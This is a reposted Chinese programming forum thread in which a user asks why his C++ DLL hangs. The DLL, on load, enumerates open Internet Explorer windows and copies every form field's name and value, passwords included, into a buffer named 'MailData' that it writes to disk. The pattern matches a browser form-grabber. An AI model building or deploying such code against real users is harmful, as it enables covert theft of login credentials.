关于一个枚举IE表单的DLL,编译无错,但是得不到想到的结果。
楼主Gdlian(古德里安)2006-03-20 11:04:55 在 VC/MFC / 基础类 提问
主要代码如下:  
  代码应该没有什么问题的,大部分代码是从EXE代码中COPY的,现在我想把这份代码在DLL内实现  
  编译没有任何问题,但是当我加载DLL实现我想要的功能(将枚举的表单内容写入E盘test文本中)  
  却无法实现,我发现当我在装载该DLL的时候,  
  在   HRESULT   hr   =   spShellWin.CoCreateInstance(   CLSID_ShellWindows   );  
  这个位置似乎引起了死循环。没有返回。以后的代码没有统统得不到执行  
  不知道哪里出个问题,希望大哥们帮帮我  
  //  
  //代码如下:  
  //   DllEnum.cpp   :   Defines   the   entry   point   for   the   DLL   application.  
  //  
   
  #include   "stdafx.h"  
    
  #include   "EnumFormVal.h"  
  #include   <atlbase.h>  
  #include   <ExDisp.h>  
  CComModule   _Module; //   由于要使用   CComDispatchDriver   ATL的智能指针,  
  //   所以声明它是必须的  
   
  #include   <mshtml.h> //   所有   IHTMLxxxx   的接口声明  
  #include   <atlcom.h>  
   
  #ifdef   _DEBUG  
  #define   new   DEBUG_NEW  
  #undef   THIS_FILE  
  static   char   THIS_FILE[]   =   __FILE__;  
  #endif  
   
  /  
  /  
  //OWN   definition  
  HINSTANCE   hInst;  
  HANDLE   test1;  
  DWORD   num;  
  char*   MailData;  
  int   useful(char*   li);  
  char   temp[200];  
  //END  
  //  
  //   The   one   and   only   application   object  
   
  //using   namespace   std;  
   
  void   EnumIE(   void   ); //枚举浏览器函数  
  void   EnumFrame(   IHTMLDocument2   *   pIHTMLDocument2   ); //枚举子框架函数  
  void   EnumForm   (   IHTMLDocument2   *   pIHTMLDocument2   ); //枚举表单函数  
   
   
  void   EnumIE(   void   )  
  {  
  useful("开始扫描系统中正在运行的浏览器实例")   ;  
           
  CComPtr<   IShellWindows   >   spShellWin;  
   
  HRESULT   hr   =   spShellWin.CoCreateInstance(   CLSID_ShellWindows   );  
   
  if   (   FAILED   (   hr   )   )  
  {  
  useful("获取   IShellWindows   接口错误")   ;  
  return;  
  }  
   
  long   nCount   =   0; //   取得浏览器实例个数(Explorer   和   IExplorer)  
  spShellWin->get_Count(   &nCount   );  
  if(   0   ==   nCount   )  
  {  
  useful("没有在运行着的浏览器");  
  return;  
  }  
   
  for(int   i=0;   i<nCount;   i++)  
  {  
  CComPtr<   IDispatch   >   spDispIE;  
  hr=spShellWin->Item(CComVariant(   (long)i   ),   &spDispIE   );  
  if   (   FAILED   (   hr   )   ) continue;  
   
  CComQIPtr<   IWebBrowser2   >   spBrowser   =   spDispIE;  
  if   (   !spBrowser   ) continue;  
   
  CComPtr   <   IDispatch   >   spDispDoc;  
  hr   =   spBrowser->get_Document(   &spDispDoc   );  
  if   (   FAILED   (   hr   )   ) continue;  
   
  CComQIPtr<   IHTMLDocument2   >   spDocument2   =   spDispDoc;  
  if   (   !spDocument2   ) continue;  
   
  //   程序运行到此,已经找到了   IHTMLDocument2   的接口指针  
   
    //删除下行语句的注释,把浏览器的背景改变看看  
    spDocument2->put_bgColor(   CComVariant(   "yellow"   )   );  
   
  EnumForm(   spDocument2   ); //枚举所有的表单  
  }  
  }  
   
  void   EnumFrame(   IHTMLDocument2   *   pIHTMLDocument2   )  
  {  
  if   (   !pIHTMLDocument2   ) return;  
   
  HRESULT   hr;  
   
  CComPtr<   IHTMLFramesCollection2   >   spFramesCollection2;  
  pIHTMLDocument2->get_frames(   &spFramesCollection2   ); //取得框架frame的集合  
   
  long   nFrameCount=0; //取得子框架个数  
  hr   =   spFramesCollection2->get_length(   &nFrameCount   );  
  if   (   FAILED   (   hr   )   ||   0   ==   nFrameCount   ) return;  
   
  for(long   i=0;   i<nFrameCount;   i++)  
  {  
  CComVariant   vDispWin2; //取得子框架的自动化接口  
  hr   =   spFramesCollection2->item(   &CComVariant(i),   &vDispWin2   );  
  if   (   FAILED   (   hr   )   ) continue;  
   
  CComQIPtr<   IHTMLWindow2   >   spWin2   =   vDispWin2.pdispVal;  
  if(   !spWin2   ) continue; //取得子框架的   IHTMLWindow2   接口  
   
  CComPtr   <   IHTMLDocument2   >   spDoc2;  
  spWin2->get_document(   &spDoc2   ); //取得字框架的   IHTMLDocument2   接口  
   
  EnumForm(   spDoc2   ); //递归枚举当前子框架   IHTMLDocument2   上的表单form  
  }  
  }  
   
  void   EnumForm(   IHTMLDocument2   *   pIHTMLDocument2   )  
  {  
  if(   !pIHTMLDocument2   ) return;  
   
  EnumFrame(   pIHTMLDocument2   ); //递归枚举当前   IHTMLDocument2   上的子框架fram  
   
  HRESULT   hr;  
  CComBSTR   bstrTitle;  
  pIHTMLDocument2->get_title(   &bstrTitle   ); //取得文档标题  
   
  USES_CONVERSION;  
  useful("====================");  
  strcpy(temp,"开始枚举“");  
  strcat(temp,OLE2CT(   bstrTitle   ));  
          strcat(temp,"”的表单/n");  
  useful(temp);  
  useful("====================");  
  //cout   <<   _T("开始枚举“")   <<   OLE2CT(   bstrTitle   )   <<   _T("”的表单")   <<   endl;  
  //cout   <<   _T("====================")   <<   endl;  
   
  CComQIPtr<   IHTMLElementCollection   >   spElementCollection;  
  hr   =   pIHTMLDocument2->get_forms(   &spElementCollection   ); //取得表单集合  
  if   (   FAILED(   hr   )   )  
  {  
  useful("获取表单的集合   IHTMLElementCollection   错误")   ;  
  return;  
  }  
   
  long   nFormCount=0; //取得表单数目  
  hr   =   spElementCollection->get_length(   &nFormCount   );  
  if   (   FAILED(   hr   )   )  
  {  
  useful("获取表单数目错误");  
  return;  
  }  
   
  for(long   i=0;   i<nFormCount;   i++)  
  {  
  IDispatch   *pDisp   =   NULL; //取得第   i   项表单  
  hr   =   spElementCollection->item(   CComVariant(   i   ),   CComVariant(),   &pDisp   );  
  if   (   FAILED(   hr   )   ) continue;  
   
  CComQIPtr<   IHTMLFormElement   >   spFormElement   =   pDisp;  
  pDisp->Release();  
   
  long   nElemCount=0; //取得表单中   域   的数目  
  hr   =   spFormElement->get_length(   &nElemCount   );  
  if   (   FAILED(   hr   )   ) continue;  
   
  for(long   j=0;   j<nElemCount;   j++)  
  {  
  CComDispatchDriver   spInputElement; //取得第   j   项表单域  
  hr   =   spFormElement->item(   CComVariant(   j   ),   CComVariant(),   &spInputElement   );  
  if   (   FAILED(   hr   )   ) continue;  
   
  CComVariant   vName,vVal,vType; //取得表单域的   名,值,类型  
  hr   =   spInputElement.GetPropertyByName(   L"name",   &vName   );  
  if(   FAILED(   hr   )   ) continue;  
  hr   =   spInputElement.GetPropertyByName(   L"value",   &vVal   );  
  if(   FAILED(   hr   )   ) continue;  
  hr   =   spInputElement.GetPropertyByName(   L"type",   &vType   );  
  if(   FAILED(   hr   )   ) continue;  
   
  LPCTSTR   lpName   =   vName.bstrVal?  
  OLE2CT(   vName.bstrVal   )   :   _T("NULL"); //未知域名  
  LPCTSTR   lpVal     =   vVal.bstrVal?  
  OLE2CT(   vVal.bstrVal     )   :   _T("NULL"); //空值,未输入  
  LPCTSTR   lpType   =   vType.bstrVal?  
  OLE2CT(   vType.bstrVal   )   :   _T("NULL"); //未知类型  
   
  //cout   <<   _T("[")   <<   lpType   <<   _T("]   ");  
   
  strcat(MailData,"[");  
  strcat(MailData,lpType);  
  strcat(MailData,"]");  
  //cout   <<   lpName   <<   _T("   =   ")   <<   lpVal   <<   endl;  
  strcat(MailData,"[");  
          strcat(MailData,lpName);  
  strcat(MailData,"]");  
  strcat(MailData,"=");  
  strcat(MailData,lpVal);  
  strcat(MailData,"/n");  
  }  
  //想提交这个表单吗?删除下面语句的注释吧  
  //pForm->submit();  
  }  
  }  
    
  BOOL   APIENTRY   DllMain(   HANDLE   hModule,   DWORD     reason,   LPVOID   lpReserved)  
  {  
  hInst   =   (HINSTANCE)hModule;  
  if(reason   ==   DLL_PROCESS_ATTACH)  
  {  
   
  MailData   =   (char*)VirtualAlloc(NULL,1024*100,MEM_TOP_DOWN|MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);  
  test1   =     CreateFile(  
  "e://test.txt",  
  GENERIC_READ|GENERIC_WRITE,  
  FILE_SHARE_READ,  
  NULL,  
  CREATE_ALWAYS,  
  FILE_ATTRIBUTE_NORMAL,  
  NULL);  
   
   
  ::CoInitialize(NULL); //初始化   COM   公寓  
   
  EnumIE(); //枚举浏览器  
   
  ::CoUninitialize(); //释放   COM   公寓  
   
  WriteFile(  
  test1,  
  MailData,  
  strlen(MailData),  
  &num,  
  NULL);  
  CloseHandle(test1);  
   
   
   
  }  
   
  return   true;  
  }  
   
    
  //OWN   definition  
  int   useful(char*   li)  
  {  
  strcat(MailData,li);  
  strcat(MailData,"/r");  
   
  /*WriteFile(  
  test1,  
  MailData,  
  strlen(MailData),  
  &num,  
  NULL);*/  
  return   1;  
  }  
  //END  
   
  ///  
  ///  
  解决问题的话分不是问题。另外如果能帮我把这份代码的获取IHTMLDocument2接口部分改成  
  从IE的窗体句柄获取就更好了。  
  顶者有分,我不吝惜分的! 问题点数:100、回复次数:4Top

1 楼laiyiling(陌生人[MVP])回复于 2006-03-20 11:12:18 得分 0
How   To   Get   IHTMLDocument2   from   a   HWND  
  http://support.microsoft.com/kb/249232/Top

2 楼Gdlian(古德里安)回复于 2006-03-20 18:58:04 得分 0
谢谢楼上   5颗星啊....Top

3 楼Gdlian(古德里安)回复于 2006-03-22 14:11:44 得分 0
UP   UP   UPTop

4 楼Gdlian(古德里安)回复于 2006-03-22 20:06:57 得分 0
100分太少了吗   SHIT

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/skyremember/archive/2008/10/04/3013435.aspx

关于一个枚举IE表单的DLL,编译无错,但是得不到想到的结果。相关推荐

  1. 写一个 iOS 复杂表单的正确姿势

    前言 这几天项目的新需求中有个复杂的表单界面,在做的过程中发现要比想象中复杂很多,有好多问题需要处理.有很多东西值得写下来好好梳理下. 需求分析: 6创建网店1.png 上图便是UI根据需求给的高保真 ...

  2. 2020使用html、js、正则表达式做一个前端注册表单信息验证

    使用html.js.正则表达式做一个前端注册表单信息验证 小小前端练手项目,主要运用正则表达式对用户名.密码.确认密码.电子邮箱.手机号码.生日.身份证号码的验证 1.用户名不正确(需由由英文字母和数 ...

  3. 编写简单php表单,用PHP做一个简单的表单

    PHP最有用的特性之一是它能够自动将表单中的变量值赋予PHP变量.这使得表单处理变得非常快捷. 因此,假如你送出一个内含输入栏位值的表单如下: 当你用PHP处理此页面,$name变量的值就会是 Gle ...

  4. 写出一个美观的表单页

    如何写出一个美观的表单页 前言 最近做项目总能遇到各种各样,千奇百怪的需求.用bootstrap等ui框架不能满足客户需求.只能开动自己脑筋,自己写一些样式. 如何调整input样式(包括placeh ...

  5. 表单提交时submit验证非空return false没用_开发这样一个复杂的表单你需要用多久...

    表单在中后台开发的时,是最多也是最另人头疼的,多级联动,繁杂的验证,动态解析等可算是苦不堪言.所以出现了无数的表单解决方案,像Uform, formily, NoForm等等一大堆用来解决中后台开发表 ...

  6. InfoJet Service,一个InfoPath Web表单产品

    InfoJet Service 是一个面向开发人员的用于将InfoPath表单发布到Web的.NET类库.整合了InfoJet Service的.NET Web应用程序可以支持用户在Internet ...

  7. 【jeecg boot】【PowerDesigner】使用PD创建数据库,并使用jeecg生成代码来创建一个干部任命表单

    首先看一下需要完成的功能 不难发现,我们需要在数据库中设计两张表,分别是干部表和干部家属表,干部表和干部家属是一对多的关系 Power Designer部分 1. 打开Power Designer,点 ...

  8. 一个常用的表单文本框input输入提示

    先保存运行下面的代码,看效果. <input name="Price" type="text" value="面议" size=&qu ...

  9. 利用html开发英语单词小程,前端利用表单标签自己制作一个简单的表单页面-表单制作-小程序表单制作...

    html中的表单标签:form标签:属性:提交到后台url地址:actionurl地址:http://localhost:8080/XXX提交方式:method常用两个:get:把提交的数据放到地址栏 ...

最新文章

  1. vs2008部署问题
  2. Jmeter分布式压测方案
  3. 看苏宁易购的运营保障体系如何hold住818大促
  4. 计算机学院许斌副院长,马鞍山职业技术学院院长姚国成、马鞍山市卫校校长许斌一行来访我院...
  5. GIT-Linux(CentOS7)系统部署git服务器
  6. 子集和问题 算法_子集问题 主要是去重算法
  7. 我的测试生活感悟2 - Art Of Unit Testing
  8. But Wang Xing, who is concerned about long-term
  9. oracle分页查询过程的简单实现
  10. LuckyFrame执行Web自动化用例
  11. 【效率】7个免费的PDF文献资源网站,再也不用为搜索文献发愁了!
  12. Html实现QQ音乐首页(响应式)
  13. Java8新特性Stream流、Stream多字段排序
  14. BMZCTF:神秘压缩包
  15. 安装oracle显示无法解析的,1、pl/sql无法连接本机的oracle(ORA 12154:TNS:无法解析指定的连接标识符)解决方法:pl/sql不能安装在Program Files(...
  16. 使用validate注解做校验以及自定义validate注解
  17. 《JS学习》Object对象
  18. 【转】2018年EI收录中文期刊目录
  19. 如何利用百度短链接接口将一个长链接变成短链接
  20. Centos 8查询和设置当前时区

热门文章

  1. JOptionPane的常用4种对话框
  2. linux 关闭权限验证,Linux 账户安全与控制
  3. Centos7下关闭带验证的MongoDB
  4. Android程序如何实现从网络中获取一张图片
  5. angular项目如何分层
  6. java解析lrc_java中用正则表达式解析LRC文件
  7. 制度化规范化标准化精细化_精细化管理ORTCC模型在管理中的运用(下)
  8. 利用 Arthas 解决启动 StandbyNameNode 加载 EditLog 慢的问题
  9. 三体智能革命_《三体》之人类的科技文明发展历史其实很诡异
  10. 如何装keras-gpu?